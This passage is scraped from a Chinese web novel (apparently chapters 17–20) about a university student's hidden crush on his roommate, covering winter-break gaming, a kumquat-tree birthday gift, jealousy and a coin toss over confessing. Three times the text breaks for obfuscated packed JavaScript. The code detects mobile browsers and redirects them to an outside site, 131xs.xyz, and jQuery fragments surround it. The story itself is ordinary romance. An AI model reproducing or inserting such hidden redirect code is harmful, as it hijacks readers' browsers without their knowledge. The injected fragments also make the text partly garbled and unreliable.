顾琢成正在早餐店里吃包子,面前一碗豆浆散发出腾腾热气:“当然不是。我堆的比这好看多了。” 杨嘉树:“我不信。” 于是顾琢成回去的时候,在刚刚那个雪人旁边堆了个一模一样的,确实好看不少,起码脑袋是圆的。 过年,他们分享各自家中过年的习俗,跟顾琢成家比起来,杨嘉树家显得精致极了,从门把手到电视柜,到处是装饰用的挂件、贴画、小福字,而且顾琢成还发现,杨嘉树的拖鞋也变成红色的了,杨嘉树汗:“你连这个都发现了?是我妈弄的,她说过年喜庆。” 对比之下,顾琢成家就显得冷清不少,没有装饰,没有年味,对联都是顾琢成匆忙之下用透明胶贴的。年夜饭五个菜,爷俩儿坐在长桌的两端,谁都没有说话。 顾琢成评价这顿饭:“无聊。” 手机那头,杨嘉树哄他开心:“有我陪你聊天,不会无聊的。” 顾琢成盯着手机屏幕,很轻地笑了一笑。 顾琢成的父亲,顾局长——诧异于自己儿子万年冰山脸上的微笑,清了清嗓子,尽量自然地询问:“谈女朋友了?” 顾琢成立马收起笑容,说:“没有,舍友。” “哦。”顾局长有点失望,“有合适的其实谈了也没什么,掌握好分寸就行了……” 顾琢成不搭他的话,顾局长讨了个没趣,低下头继续默默地吃饭。 一整个寒假,杨嘉树和顾琢成都黏在一起,聊天,打游戏,打游戏,聊天……杨嘉树走哪都捧着手机,甚至为了和顾琢成的“约会”,几次逃避跟全家一块儿去走亲戚……种种怪异之处让章芝仪心生疑虑,一天,她拉着老杨,忧心忡忡地说:“大宝最近有点反常,是不是谈恋爱了?” 老杨大手一挥,“嗨呀”一声,说:“这是好事啊!那开学我得多给他打点零花钱了……” 话还没说完,就被章芝仪照着后背狠狠拍了一巴掌:“你能不能别老拿钱打发孩子?多关心关心他,陪他聊聊天不行吗?” “……我平时不关心他吗?”老杨被打得有点懵,“大学谈恋爱不是好事吗?又不是初中高中,孩子心里有数的。” “那得看跟谁谈……算了跟你说不明白。”章芝仪白了他一眼,决定还是自己亲自上阵。她洗了一盘水果,蹑手蹑脚地走到杨嘉树房门口,耳朵先贴在门上,偷听——又在打游戏,平时杨嘉苗打游戏也是这样子的,键盘敲得啪啪响,嘴里叽哩哇啦说些让人听不懂的话。她犹豫片刻,敲门—— “进来。”杨嘉树说。 章芝仪推门进去,把水果放在杨嘉树的桌子上,“嘉树,玩累了吗?吃点水果。” “谢谢。”杨嘉树说,眼睛从头到尾没离开过电脑屏幕,“……等等先别过去,我插个眼……没人,还是谨慎些好。” “你过来点,别离我太远,小心被勾走。” ——嗯?是男同学? 章芝仪站在一旁听了会儿,没听出什么异常的,顶多就是杨嘉树跟同学玩很开心罢了。 身旁杵了个人,杨嘉树很不自在,趁角色死亡的时候回头看章芝仪:“?” 章芝仪接收到他的眼神讯号,马上善解人意地说:“你玩、你玩,妈妈不打扰你了。” 门关上,杨嘉树松了口气。 顾琢成说:“你妈妈?” 杨嘉树:“是啊。” “听起来挺温柔的。” “嗯……”杨嘉树挠了挠头,回到游戏上,觉得自己刚刚发挥失误了,要是大招再早放一点,可能他们就不会团灭了。 顾琢成说:“没关系啊,团输不是你一个人的问题。” 杨嘉树觉得这个寒假是自己最堕落的假期,以往他就算放假也会认真学习,或者出去度假放松心情,而不是一天到晚坐在电脑前面,打游戏……顾琢成也是这样,他说自己很久没有这么酣畅淋漓地打游戏了,每天醒来第一件事就是复盘自己昨天哪些地方失误比较多……杨嘉树很惊讶地说:“啊?你还复盘,怪不得你那么厉害,我就只会埋头猛冲而已。”他决定效仿顾琢成,把游戏也当成一种作业,最后得出结论:也许他该尝试下不同分路…… 顾琢成说:“那你玩AD,我给你辅助。” 杨嘉树选了女警,这英雄看起来很好看,但是操控起来总感觉很轻,动不动就直接冲到人群里面去……这把太菜,杨嘉树大气也不敢出,生怕被队友抓住机会辱骂。顾琢成安慰他:“没关系,就当练英雄了。” 打着打着,上路的盖伦说:“逆天,我在上路抗压,你俩就在下路疯狂送?” 杨嘉树的汗都下来了,还没等他想好怎么道歉,盖伦又说:“狗情侣都去死,坑死个人!” “额……”杨嘉树的脸唰地一下就红了,吞吞吐吐地说,“他、他说我俩是情侣。” 以前也有人这样说过,那时候杨嘉树觉得好玩,还对着顾琢成“老公”、“老公”地叫,现在想想……那时候他怎么一点都不知廉耻啊。 顾琢成明显没将这件事放在心上,指挥杨嘉树:“让他说去吧。你过来,站这里好补兵。” 盖伦骂了几句,没人理他,悻悻地自己闭嘴了。杨嘉树心想,情侣怎么啦,你要是不服,自己也找人双排去呀。 然而这样甜蜜的日子没过多久,顾琢成忽然说:“3月底有个比赛,我要开始训练了,你自己单排去吧。” “啊?”杨嘉树顿时大失所望,“可是你不陪我我也不想玩了。”说完怕顾琢成误会,他连忙又说,“我太菜了,肯定会被队友骂死的。” 顾琢成说:“你辅助玩的挺好啊,一点也不菜。” “真的假的?” “真的。” ——虽然被夸了,但是杨嘉树也没有自己去单排,毕竟,没有顾琢成的峡谷,真的很无聊啊。 没多久,开学了,但顾琢成要到3月底才会返校,说是会留在上海打完春季赛。杨嘉树不由好奇,为什么顾琢成这么喜欢参加比赛,好像从认识他起他就在打各种比赛,不会腻的吗?对此顾琢成解释:“没别的原因,我喜欢赢。” “那要是输了呢?” “打到赢为止。” “很难吧,没有人能一直做第一。” “嗯。所以打完这次比赛我就退出江湖了。” “??”杨嘉树意外死了,但同时心里又有点窃喜,不去比赛,是不是意味着他在寝室的时间会变长?杨嘉树抿起嘴巴,偷偷地笑了,“挺好的,休息一段时间。” “……我去吃饭了,晚点聊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495752|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是最后一次比赛,顾琢成很重视,回复消息的速度明显变慢,有时候杨嘉树早上发的消息,他到晚上才回,杨嘉树很贴心地没有再打扰他。 3月最后几天,顾琢成回来了,下午两点的飞机到首都机场,杨嘉树请了假去接他。航班正点,杨嘉树一眼在人群中找到顾琢成,他很高,很帅,简单的黑色羽绒服被他穿出秀场压轴的气场。也许是情人眼里出西施,总之杨嘉树觉得偌大机场……没有一个人能在帅气这方面压过顾琢成。 如果……他怀里没有抱着一盆植物就好了。 ——是的,顾琢成大老远从上海带了一盆植物回来。杨嘉树的嘴巴张成“O”字型,盯着那盆疑似金桔的盆栽:“……这是什么?” 顾琢成抬起盆栽,把它往杨嘉树跟前放了放:“金钱橘,怎么样,好看吗?” “呃……”瘦巴巴细条条的,上面零星挂着几颗金色的果实,也许它本来就长这样?杨嘉树照顾顾琢成的面子,昧着良心说,“挺好看的。” 顾琢成扬起嘴角,把盆栽塞进杨嘉树怀里:“送你的,生日礼物。” 杨嘉树十分吃惊:“你——竟然记得我的生日?”不过是随口一说,他竟然放在心上了! “记得,4月8号,还有几天就到了。” “哦……”杨嘉树抱着橘树,左看右看,不觉得它有什么特别之处,也许……橘子味很香?又或者,绿中带金看起来很喜庆?他注意到橘树的树杈上绑了一张小卡片,背面似乎写了字—— 翻过来一看,杨嘉树愣住了。 “愿岁并谢,与长友兮。” ——杨嘉树的名字来源于屈原的《九章·橘颂》,嘉树的意思是橘树,这是一首赞颂橘树高贵品德的诗,“愿岁并谢,与长友兮”,翻译过来就是:我愿和你做一辈子的好朋友。 “……”杨嘉树的灵魂被击中了,霎时间,世界变成一团虚影,只有正中间的顾琢成是清晰的。 “怎么了?”顾琢成伸手在他面前挥了挥,“太感动了吗?” “……”杨嘉树垂下眼睛,盯着橘树的树尖,这是一颗还在生长的树,顶端有几片浅绿色的嫩芽,虽然瘦弱,却也显露出蓬勃的生机。杨嘉树抬起头,对顾琢成笑了笑,“谢谢,我们走吧,打车回学校。” 这个反应——是不是有点平淡了?顾琢成纳闷,难道不应该震惊、感动、然后大声表白吗? ——这里的“表白”,是对好朋友将自己放在心上的由衷剖白,即使是默契不言的友情,有时候也是需要表达的。 也许,杨嘉树是个不擅表达的人吧。顾琢成如此想道。 先回了宿舍,杨嘉树抱着橘树,不知道把它放在哪里好,放在书桌,担心它晒不到阳光会影响生长发育,放在阳台,这几天降温,万一冻死了怎么办? 这时顾琢成路过,见杨嘉树抱着橘树默然不语,一副陷入沉思的样子,还以为他终于后知后觉开始感动了,遂道(其实也是有意邀功):“本来我也可以回北京再买的,但是当时我看到这棵树,心里第一时间浮现出你的名字……所以就把它带回来了。怎么样,是不是很感动?” “……谢谢啊。” ——但是,我不想跟你做一辈子的朋友啊。 杨嘉树把快挂掉的金钱橘放在阳台上,打算让北京寒冷的冬风把这棵“友谊之树”活活冻死。但是半夜,杨嘉树辗转反侧,害怕它真的冻死了,于是爬起来,偷偷地又把这棵树抱了回来…… 如果,它是一株玫瑰就好了。 18. 第 18 章 自从知道自己是个Gay之后,杨嘉树就开始研究Gay这个群体。他获取信息的途径包括但不限于:查图书资料、观看纪录片、潜入同志社区(线上)、某蓝色APP……不过最后一个他在下载不到三分钟就删除了,一分钟注册,然后两分钟之内收到了三条大尺度骚扰信息……吓得他立刻退出之后卸载,并发誓永远不要再对这种所谓的“交友软件”产生好奇之心。 一番摸索之后,他得出结论,Gay和普通直男好像并没有什么明显区别……前提是,他们有意隐藏自己Gay的身份。这时候的社会对同性恋还没有那么包容,起码出柜后会遭受很多异样的目光和恶意的议论。也许……小范围出柜是可行的,对一些亲友……可是,问题又来了,一个明牌的间谍和一个潜伏的间谍,哪一个更容易达到自己的目标?这还用想吗。出柜了,可能人家第一时间就要跟你保持距离了。 北京这几天很奇怪,明明是4月初,万物复苏的季节,却下了一场雪。心情郁闷,加上天气寒冷,导致杨嘉树干什么都提不起劲儿来,一下课就躺在床上听歌睡觉,谁叫都不出去。 晚上顾琢成喊他出去吃饭,杨嘉树赖在床上不想起来:“你帮我带一点吧。” “你怎么了?”顾琢成见他躺在床上恹恹的,一副生无可恋的样子,说话也瓮声瓮气,怀疑他是不是感冒了。想着,他走到杨嘉树的床铺跟前,摸上杨嘉树的额头,“有点热,是不是发烧了?” “啊?”杨嘉树一动也不敢动,额头凉凉的,是顾琢成手掌心的温度,“没有吧,可能是躺被窝里捂的。” 他还算镇定,没有引起顾琢成的疑心。 “还是用温度计量下吧,我记得你有温度计,放哪里了?”顾琢成说,很自然地就要拉开杨嘉树的抽屉。 “!”杨嘉树吓了一跳,里面可是有见不得人的东西的!他像只虾米一样,弓起背一跳三尺高,感觉下一秒就要撞上天花板了,“温度计隔壁借走了!你等等我我跟你一起去食堂!” 顾琢成的手停在抽屉的拉环上,上上下下打量杨嘉树:“哦。那你去把外套套上。” ……等等。我刚刚上床的时候是不是脱得只剩秋衣秋裤了。 杨嘉树缓缓低头,悬着的心终于死了,这不仅是他最紧身的一套秋衣秋裤,而且还是颜色最难看的……绛红色。 天呐,杀了我吧。 杨嘉树欲哭无泪,背过身光速穿好外套,站在门口叫顾琢成:“走吧。” 到楼下没人的地方,顾琢成忽然说:“你抽屉里藏了什么?” “……啊?”杨嘉树心里“咯噔”一下,他发现了?不会偷偷看我抽屉了吧!一紧张,杨嘉树说话也结巴起来,“没、没什么啊,为什么这么问。” 顾琢成看着他,欲言又止。 “?”杨嘉树满脸问号。 “咳咳。”顾琢成捏紧拳头,放在自己的嘴巴前,轻咳了咳,委婉地道,“那什么过度对身体不好,你要是精力无处发泄,可以跟我一起去打打球、跑跑步,就不会想些有的没的了。” “什么有的没的?”杨嘉树惊呆了,“你在说什么啊!” 顾琢成没说话,只是脸上的表情赤裸裸地在表达:“你懂的,就不需要我说太明白了。” “……”杨嘉树的脸一瞬间红成番茄,说不清是气的还是臊的。 他以为我偷摸藏了什么?色情小说?十八禁漫画?成人玩具? 靠,我是那种人吗?! 杨嘉树瞪起眼睛,就要跟顾琢成解释—— 然而下一秒,他很可耻的怂了。 现在解释了,等下他回去非要检查我的抽屉怎么办,那我藏在里面的《让直男爱上你的一百零八式》岂不就暴露了?到时候就是有一百零八张嘴都解释不清楚! 杨嘉树的脸憋得通红,都快成紫色了,磕磕巴巴,最终只气若游丝地说:“你、你怎么知道……” 顾琢成展开眉头,一脸“我就知道”的表情:“每次回来都看你躲在床上,还总是嗜睡,黑眼圈特别明显;嘴巴也白,没一点血色……” 他越说,杨嘉树的脸就越红,“行了你别说了……” 他现在有点生气了,谁让顾琢成这么污蔑一个脸皮这么薄的人的,偏偏他还不能解释……杨嘉树恨恨地想,就算我是在那个啥,你猜猜我yy的对象是谁呢,说出来吓不死你。 “好了我不说了。”顾琢成憋着笑,决定给杨嘉树留点面子,“快走吧,一会儿食堂关门了。” 打饭的时候,顾琢成让杨嘉树先打,还在杨嘉树明显表露出对他碗里的菜感兴趣的时候,大方地让出自己的食物——三只鸡翅,全给了杨嘉树,一只都没给自己留。 回宿舍的路上,又下雪了。 杨嘉树注视着绵绵小雪,嘟囔了一句:“连老天爷都知道我冤……” “你说什么?”顾琢成没听清。 “没什么。”杨嘉树摇头,“怎么都四月份了还在下雪啊,北京的天气好可怕。” “确实挺反常的。”顾琢成说,伸出手接落下来的雪花,“下不了多久的,明天就升温了。” “你怎么知道?” 顾琢成晃晃手机,冲杨嘉树眨了眨眼:“天气预报。” “……好吧。”杨嘉树盯着顾琢成的脸,被他刚刚俏皮的一笑迷住了,心里有个声音在不停重复:好帅,好帅…… 回到宿舍,杨嘉树拿起桌上的课本,换了一双鞋要去上课,刚换好鞋站起来,顾琢成忽然过来,以迅雷不及掩耳之势拉开杨嘉树的抽屉—— “啊!”杨嘉树尖叫一声,扑过去抱住顾琢成的手,“你有病吧顾琢成!”他的脸通红——这次是被气的,一双微圆的眼睛愤怒地瞪着顾琢成,好像下一秒就要扑上去无情地撕咬他—— 然而这样的表情却并没有对顾琢成造成威胁,他的手还是停在抽屉的拉环上,现在他有点好奇那里面到底藏着什么了,以杨嘉树的尺度,会是什么呢…… 杨嘉树愤怒的同时,还特别慌乱,完了完了,不会要暴露了吧,等下要是被发现,就说是女同学分享给他的!此“直男”非彼“直男”…… 杨嘉树整个人挂在顾琢成的手臂上,企图用身体阻止顾琢成打开他的抽屉,顾琢成本来也是跟他开玩笑,胳膊上挂了个活人还挺难受的,于是说:“我开玩笑的,快放手,等下再摔倒了。” 杨嘉树半信半疑:“真的吗?” “真的。”顾琢成说,信誓旦旦。 杨嘉树站直,犹豫犹豫地放开手—— 顾琢成也松开抽屉拉环,就在杨嘉树放松警惕的时候,顾琢成忽然又杀了个回马枪,其实只是假动作,逗杨嘉树玩的,杨嘉树却当了真,炮弹一样砸到顾琢成的身上,紧紧抱住他捣乱的那只手臂:“你干嘛!再这样我真的生气了!” 顾琢成再也憋不住,笑得肩膀不停抖动:“逗你玩的,你反应也太大了……真的不能跟我分享一下吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495753|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨嘉树气得七窍生烟,压着顾琢成的手臂强制把他跟自己的抽屉隔离开:“你别太过分,赶紧走开!” “好好好。”顾琢成举起双手,一边笑一边往后退,“走吧,去上课,要迟到了。” “你晚上也有课?”杨嘉树慢吞吞走过去。 “嗯。”等杨嘉树出来,顾琢成顺手把灯关了,然后是门,“选修课——你到底藏了什么好东西?真的不能跟我分享一下吗……” “滚!”杨嘉树这下不再客气,直接一脚踹了过去。 两人打打闹闹,最后杨嘉树先到教室,两人就分开了。进教室杨嘉树才想起来,不好!忘记问他几点下课了,要是比自己早回宿舍,那抽屉里的秘密岂不就暴露了!可是来都来了,总不能翘课吧……这节课老师出了名的凶,万一被盯上可就不好了。杨嘉树掏出手机,偷偷摸摸给顾琢成发信息:“几点下课?” 没一会儿顾琢成回了:“八点半。” 杨嘉树松了口气,他们也八点半下课,顾琢成的教室比较远,肯定没他早回宿舍…… 顾琢成:“偷笑/。怕我发现你的秘密?” “!”没完没了了是吧!杨嘉树恼羞成怒,关掉手机,决定不理顾琢成了。 下课,杨嘉树拔腿就往宿舍跑,宿舍没人,杨嘉树先从里面把门锁上,然后打开自己的抽屉,果然,那本封面花花绿绿的《让直男爱上你的一百零八式》就藏在最底下,这是杨嘉树好奇在网上买的,里面尽是一些很恶心很雷人的点子,杨嘉树可不是傻瓜,要是真照这本书上这么做,可能会以一种很社死的方式直接出柜……这种晦气的东西还是尽早扔了比较好!杨嘉树带着书找隔壁借了个打火机,偷偷潜入小树林找了个没人的地方直接把书烧了,毁尸灭迹。然后没事人一样返回宿舍。 顾琢成已经回来了,正站在床头换衣服,杨嘉树发誓他只是不经意扫过一眼,就看见顾琢成健壮的胸肌、腹肌,呃,那连接腹肌和盆骨的漂亮V形线条,不会就是传说中的人鱼线吧…… 顾琢成脱完衣服,回头一看,看见杨嘉树傻站在门口,鼻腔里缓缓淌出两条鲜红的血…… 顾琢成吓了一跳:“你流鼻血了?!” “?”杨嘉树抬起手,在自己鼻子下方抹了抹,果然抹到一手血迹,“……” 顾琢成衣服都没来得及穿,扶着杨嘉树往椅子上坐,见杨嘉树傻乎乎仰着头,试图把血往鼻子里倒,不由有些好笑:“这样是止不了血的。”他扶住杨嘉树的头,让他把头微微低下,然后一只手轻轻捏住他的鼻根,另一只手去够桌子上的纸巾,“给,自己擦擦。” 杨嘉树头晕眼花,接过纸巾胡乱往鼻子底下擦了擦,然后就把纸巾往鼻腔里面塞—— “别这样,会损伤鼻粘膜。”顾琢成说,拿走杨嘉树手里的纸巾,又给了他一张新的,“擦干净就行了,还在流血吗?” 杨嘉树大气也不敢出,心脏怦怦跳,满眼、满脑子都是顾琢成赤裸的上半身……这时,杨嘉树脑子一抽,手比大脑快一步做出反应,在顾琢成的腹肌上轻轻摸了摸…… 顾琢成:“……” 杨嘉树:“……” 顾琢成:“?” 杨嘉树快晕过去了,表面上还要强作镇定:“怎么练的?好羡慕啊。” 顾琢成低头看了眼,心里还是有点得意的:“运动。你想练吗?” “嗯。” “那明天跟我一起去打篮球。” 19. 第 19 章 杨嘉树并不擅长打篮球,他其实更喜欢打羽毛球,但顾琢成约他,他想不出什么理由拒绝,就去了。天气不好,去的是室内篮球场,场上活跃的选手一个比一个壮硕,顾琢成挨个给杨嘉树介绍,全都是校篮球队的,只有杨嘉树一个业余选手。 杨嘉树有点犯怵,拉着顾琢成说:“我就不上场了吧,我看你们打。” 顾琢成说:“为什么?打着玩,就当是练习了,我们都陪你练。” 杨嘉树连连摇头:“不不不,你快去吧,叫你呢。我一会儿还有课,看一会儿就走了。” “行吧。”顾琢成也不勉强他了。 从这以后,顾琢成去打球就总带着杨嘉树,杨嘉树也不上场,就在下面给顾琢成拿着衣服,还有水杯,顾琢成进球了他就在下面欢呼,有的时候还拿着相机给顾琢成拍写真……久而久之,大家都知道顾琢成屁股后面有这么一个小尾巴,朋友有时候调侃顾琢成,说:“哎,今天怎么没看见你那‘小媳妇’?上课去了啊?” 每每这时候顾琢成都会纠正对方:“别这么叫,人家有名字,叫杨嘉树。” 其实是因为有次杨嘉树听见别人这么叫他,当场就翻脸了,也是,哪个男的被说像小媳妇会高兴啊…… 很快,杨嘉树的同学也知道他跟计算机系的男神走得近了,有人就想让杨嘉树当中间人,介绍她跟顾琢成认识。杨嘉树一眼就看出对方的小心思,思索一番后,说:“顾琢成有女朋友了,只不过没公开,他女朋友不让他跟别的女生走太近,所以……抱歉了。” 女生特别失望,不过也有点怀疑,平时没见顾琢成跟哪个女生走得很近啊?不会是托辞吧,她不死心,跟杨嘉树说:“我没别的意思,就是想认识认识他,交个朋友,平时要是有什么计算机问题也可以请教请教他嘛,正好我最近电脑有问题,老是蓝屏……” 杨嘉树的脸“唰”地一下拉了下来:“你有没有常识啊?人家是学软件编程的,又不是修电脑的,问他有什么用。” “……”女生懵了,特别尴尬地站在原地,走也不是不走也不是。 反应过来的杨嘉树顿时十分懊悔,为什么要对一个无辜的女孩子发火!他羞愧不已,低头盯着自己的脚尖,放缓语气说:“你想认识他,自己去找他不就好了,他人还不错,要是想加微信也是可以的,据我所知,他很少拒绝女孩子的要求的。” “真的假的?”女生眼前一亮。 “……”这下换成杨嘉树的脸青一阵白一阵了,这不是搬起石头砸自己的脚吗?可是……他意识到这种行为其实挺可耻的,就因为喜欢人家,所以就要斩断人家的桃花吗……杨嘉树,好卑鄙。他抬起头,注视着女生的眼睛,“真的。” “可是……”女生犹豫道,“他有女朋友了。” 就这么一会儿,杨嘉树发现这个女生漂亮得有些过分了,瓜子脸,眼睛不知道是什么眼,不大不小,眼尾有些上翘,一头乌黑的长发披在肩头,颇有些知性的气质。好像顾琢成之前描述的理想型就是这个样子……杨嘉树的心又被恶魔占据了,他对女生轻轻一笑,说:“是啊,他女朋友是个醋坛子,天天打电话让他不要和别的女生走太近……不过你不试试怎么知道呢,也许顾琢成更喜欢你这种温柔大方的类型。” 女生看起来有点害怕:“……谁啊?是咱们学校的吗。” “是的。”杨嘉树点点头。 “那还是算了,回头再被当成小三打……”女生缩了缩脖子,心想还是放弃得了,“谢谢你啊,我再考虑考虑。” 看着女生离去的背影,杨嘉树很满意,但是又忍不住心虚……顾琢成应该不会在意这些吧? 晚上回宿舍,杨嘉树实在感觉良心在被谴责,内心十分煎熬,想了想还是跟顾琢成坦白吧,起码心里舒服一些……于是他趁宿舍只有他俩,假装不经意地跟顾琢成说:“诶对了,今天有个同学问我要你的联系方式来着,女同学,说想跟你认识一下,你要跟她认识吗。” “谁啊?”顾琢成随口问,“漂亮吗。” “……”杨嘉树冷哼一声,说,“挺漂亮的,是我同班同学。” “真的啊?有照片吗。”顾琢成凑了过来。 没料到会是这个反应,杨嘉树无语的同时还有点伤心,早知道就不要说了,直接烂在肚子里……他捧着一颗破碎的心给顾琢成找照片,最终找到一张外出做志愿的合影,女生不仅漂亮,还十分上镜,杨嘉树不知道自己是用什么心情开口说出这句话的:“怎么样,漂亮吧?” 顾琢成看完,点头:“是挺漂亮的。” 杨嘉树心口一梗,脱口道:“但是你不能跟她认识,因为我……喜欢她,很久了!” 话一出口,两个人都愣住了。 顾琢成看着照片里笑得很开朗的女孩子,恍然大悟:“所以你才来问我啊。” 杨嘉树没说话,只觉得心里又烦又乱,郁闷极了。 “没关系。”顾琢成看看照片里的女孩子,又看看杨嘉树,说,“你们俩还挺般配的。喜欢就去表白啊,男人应该主动一点。” “……”杨嘉树更烦了,一腔苦闷无处发泄,垂头丧气地坐在椅子上,自己都不知道自己在说些什么,“可是她喜欢你。你为什么要让她喜欢你,你应该低调些才是,平时跟个交际花一样到处招蜂引蝶,你是不是想让每个接近你的人都喜欢上你?” 杨嘉树说完,感觉空气都静止了。 他不敢抬头,一方面是不敢面对顾琢成的脸,一方面是他感觉自己很快就要掉眼泪了…… “你……”顾琢成略带犹豫的声音响起来。 杨嘉树不想听他把话说完,反正肯定不会是他想听的话……他站起来,保持着低头的姿势往门口走:“我出去一下。” 门关了。很快,杨嘉树有些急促的脚步声也消失了。 顾琢成坐在杨嘉树的椅子上,心想:都气哭了,他是有多喜欢她啊…… 打那以后,杨嘉树就处处躲着顾琢成,能不回宿舍就不回宿舍,篮球场也不去了,微信也不聊了,似乎铁了心要跟好兄弟决裂……老实说顾琢成不能理解,不就是喜欢的女孩子喜欢自己的好兄弟吗?真那么喜欢,去追就好了,他又没说要跟他抢。就算客观上那个女生喜欢自己,可是,这种事是人家女生决定的,跟他有什么关系?他不回应不就行了?至于因为这件事影响兄弟感情吗。 顾琢成给杨嘉树发了好几条消息解释,还约杨嘉树有时间跟他聊聊,可杨嘉树鸟都不鸟他,见了面也是一副面无表情的冰山脸,好像他对他做了什么伤天害理的事似的。就算顾琢成脾气再好,也忍不住有点生气了,他觉得杨嘉树真是小气,为这点事跟他闹脾气,至于吗?于是他也不再哄着杨嘉树了,两人正式开始冷战。 宿舍里最先发现不对劲的是赵靖,怎么只要这俩人共处一个空间就凉嗖嗖的呢?不行,有妖气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495754|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他先去问杨嘉树:“你跟顾琢成吵架了?什么情况。” 杨嘉树听见这个名字心里就堵得慌,他收拾好课本,扭头出了宿舍:“我去自习室了。” 赵靖挠挠头,真吵架了啊?看样子吵得还不轻。他又去问顾琢成,顾琢成说:“你去问杨嘉树去。” 杨嘉树……杨嘉树只是在跟自己较劲罢了。 他觉得这种近在咫尺又不能言明的暗恋把他的内心都搞得扭曲了,让他变得一点也不像自己,甚至格外地丑陋、变态……每天都很沮丧,不知道该用什么样的态度去面对顾琢成。 早上起床的时候看到顾琢成送给自己的金钱橘,这橘树很耐造,冷的时候放室外没见它冻死,怼着大太阳晒也没见它热死……虽然不喜欢这棵树的寓意,可真把它养死了自己又会难过……杨嘉树长叹一口气,真的不知道该怎么办了,想一直逃避下去。 有天,杨嘉树下了课不想回宿舍,带上课本去自习室发呆,他想起很久以前自己在网络上问的问题,“喜欢上自己的好兄弟怎么办”,现在,他迫切地想知道这个问题的答案。 刚一登录账号,杨嘉树的手机就卡住了,未读消息99+。 他挨个点开查看,光是新增的回答就有500多条,大概三分之一在认真回答问题,三分之一吃瓜群众,还有三分之一搞抽象的,杨嘉树看下来,发现那些偷偷喜欢自己好兄弟的,无一例外是深柜……而且,没有一个修成正果的……噢不,还是有的,杨嘉树翻到最后,一个答主洋洋洒洒写了好几千字讲述他暗恋好兄弟的心路历程,一开始杨嘉深有同感,看得眼泪都出来了,可是越往后越不对劲,怎么答主的好兄弟疑似也喜欢他呢?甚至一路往HE的方向发展了……杨嘉树看完,嫉妒得面目扭曲、咬牙切齿,心想世界上怎么可能有这么美好的事,一定是哪个跟他一样爱而不得的人yy的! 一定是的! 他关掉回答,又开始查看私信,不看不知道,一看吓一跳,全是发果体照、鸟照骚扰他的,杨嘉树眼睛都快瞎了,把这些人通通点了举报。 一些入目不堪的私信里混了一两个正常的,杨嘉树点开其中一个头像有点眼熟的,发现是之前在评论里分享类似经历的答主,那时候杨嘉树还私信问过他的现状,现在收到回复了,对方说: “我现在挺好的,有个谈了快五年的男朋友,我男朋友对我很好,我们前不久刚贷款买了房子,打算未来都一起生活。看你说话的语气,应该比我小不少吧?或许我可以仗着比你年长几岁,给你一些建议:与其纠结内耗,不如顺其自然,你跟某人的缘分其实早就注定好了,当你纠结于某个选择、迟迟不能做决定时,不妨把它交给命运,命运会替你做抉择的,你只需要静静等待,等那个最合适的时机,你会发现所有指针都将指向那个最正确的答案。祝你好运。” ……什么啊。杨嘉树完全没看懂,所以是说听天由命的意思? 桌面上有个一元硬币,这是杨嘉树来上课的时候在路边捡的……难道说?杨嘉树的心砰砰跳着,越来越快,冥冥之中,上天要给他指引了吗?他拿起硬币,趁老师转身的时候把它抛向空中,然后用双手接住—— 如果是数字,我就向他表白,大不了不做朋友;如果是花,那说明我们没缘分,我将深藏这个秘密,直到永远…… 下课铃声忽然响起,吓得杨嘉树一激灵,他松开手,掌心上竟然是…… 数字。 20. 第 20 章 杨嘉树心事重重地回了宿舍,路上没注意,跟人在楼梯拐角撞到—— “看路。”撞到他的人冷冷地说。 声音特别熟悉,杨嘉树条件反射地回过头,顾琢成已经走远了。 宿舍里只有赵靖,杨嘉树放好书包,想了想,关上门小声地问赵靖:“这么晚,顾琢成出去干嘛去了?” “我不造啊!可能跟哪个妹子出去约会了吧。” 听赵靖这么说,杨嘉树的心顿时跟针扎一样难受,才“绝交”多久,就勾搭上美女了……看来这段友情在他眼里根本就不算什么。杨嘉树精神恍惚地洗完澡,上床,琢磨着要采用什么姿势跟顾琢成表白。 他心里很清楚,顾琢成压根就不喜欢男人,他直得还不够明显吗?一起走路的时候,看见好看的女孩子顾琢成的视线也在她们脸上停留;知道有人喜欢自己,他也会关心人家长得漂不漂亮……喜欢看后宫番,喜欢大胸萝莉,食堂里在放选秀比赛的时候他会说长得最好看的那个应该得冠军,完全不在乎她的唱功一塌糊涂……反之,一个男人就算长得再帅、再好看,他也无感—— 因为他身体里没有欣赏雄性美的基因。 想到这,杨嘉树的心里一阵绝望。忘了上次在哪本书里看到过,一个男人喜欢同性的概率不是100%就是0%,假如顾琢成喜欢男人的概率是0%,就代表他喜欢自己的概率也是0%。那表白的后果是什么……?杨嘉树无法想象,光是绝交三天都令他难受得想去死了,更不要说绝交一辈子…… 